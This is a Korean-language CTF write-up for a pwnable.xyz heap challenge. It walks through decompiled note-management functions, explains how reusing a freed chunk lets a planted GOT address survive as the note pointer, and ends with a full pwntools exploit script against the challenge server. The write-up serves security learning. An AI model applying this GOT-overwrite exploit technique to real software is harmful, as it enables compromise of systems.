1. 문제
1) mitigation 확인
이번에는 PE가 안걸려 있다
2) 문제 확인
노트를 입력, 수정, 삭제, 출력 할수 있는 메뉴가 나온다.
3) 코드 확인
- make_note() 함수
int make_note() { _QWORD *v0; // rax int v1; // eax __int64 v2; // rcx int v4; // [rsp+4h] [rbp-Ch] void **buf; // [rsp+8h] [rbp-8h] if ( count <= 32 ) { printf("size of note: "); v4 = read_int32(); buf = (void **)malloc(0x28uLL); if ( !buf[4] ) buf[4] = malloc(v4); printf("title: "); read(0, buf, 0x20uLL); printf("note: "); read(0, buf[4], v4 - 1); v1 = count++; v2 = v1; v0 = book; book[v2] = buf; } else { LODWORD(v0) = puts("Limit reached."); } return (int)v0; }
해당 함수에서 초기에 고정 값 0x28으로 buf에 청크를 할당받는다. 해당 영역에 0x20 만큼 타이틀을 입력하고, buf[4]가 널값이라면, 해당 위치에 사용자가 입력한 사이즈만큼 한번더 청크를 할당받고, 그 주소를 buf[4]에 넣는다. 그리고 book 전역변수에 buf 주소를 저장한다.
- edit_note() 함수
ssize_t edit_note() { ssize_t result; // rax size_t v1; // rax ssize_t v2; // [rsp+8h] [rbp-8h] result = get_note(); v2 = result; if ( result ) { printf("Title %s: ", result); v1 = strlen(*(const char **)(v2 + 0x20)); result = read(0, *(void **)(v2 + 0x20), v1); } return result; }
bss 영역에 있는 book 배열에서 인덱스를 선택해 수정이 가능하다. 아까 make_note에서 buf주소 +0x20 위치에 입력한 사이즈만큼 할당받은 청크 주소가 들어가 있고 이 주소에 note 내용이 들어가 있다. 따라서 해당 영역을 read 함수로 재입력 가능하다
- delete_note() 함수
_QWORD *delete_note() { _QWORD *result; // rax int v1; // eax __int64 v2; // rdx result = (_QWORD *)get_note(); if ( result ) { free((void *)result[4]); v1 = count--; v2 = v1; result = book; book[v2] = 0LL; } return result; }
해당 함수에서 free가 진행되는데, 특이한 것은 note가 입력된 청크만 free시킨다는 것이다. free된 영역은 book 배열에서 0으로 초기화 시킨다.
2. 접근방법
title의 마지막 부분에 note가 들어가는 청크 주소가 입력되어있다. 초기에 make_note 호출시 size를 0x28과 동일하게 입력하고, title에는 아무값, note 부분에 0x20 더미 + 0x8 got주소 이렇게 입력한다.
그후에 free를 시키면 note 영역이 fastbin에 들어간다. 이때 make_note를 한번더 호출하게 된다면 fastbin에 존재하는 아까 free된 note 영역을 재할당 받게 되고, buf[4] 위치에 현재 got 주소를 박아놨기 때문에,
if ( !buf[4] )
buf[4] = malloc(v4);
이 부분을 건너띄게 된다. 그다음 buf[4]에 read함수로 입력을 하는데, 여기에 win함수의 주소를 넣어서 got_overwrite를 하면 끝이다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30030)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xc8b+$code\n')
def make_note(size,title,note):
pause()
p.sendafter("> ",str(1))
p.sendafter("size of note: ",str(size))
p.sendafter("title: ",str(title))
p.sendafter("note: ",str(note))
def edit_note(index,note):
p.sendlineafter("> ",p32(0x2))
p.sendlineafter("Note#: ",str(index))
p.sendafter(": ",str(note))
def delete_note(index):
p.sendafter("> ",str(0x3))
p.sendafter("Note#: ",str(index))
make_note(40,"A"*8,"B"*0x20+p32(0x602020))
#p.sendafter("> ","5")
#make_note(30,"A"*8,"B"*8)
delete_note(0)
make_note(40,"A",p64(0x40096C))
p.sendlineafter("> ","5")
p.interactive()
4. 몰랐던 개념
- none
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Dirty Turtle (0) | 2020.05.14 |
---|---|
[pwnable.xyz] Hero Factory (0) | 2020.05.13 |
[pwnable.xyz] badayum (0) | 2020.05.12 |
[pwnable.xyz] password (2) | 2020.05.12 |
[pwnable.xyz] Punch it (0) | 2020.05.11 |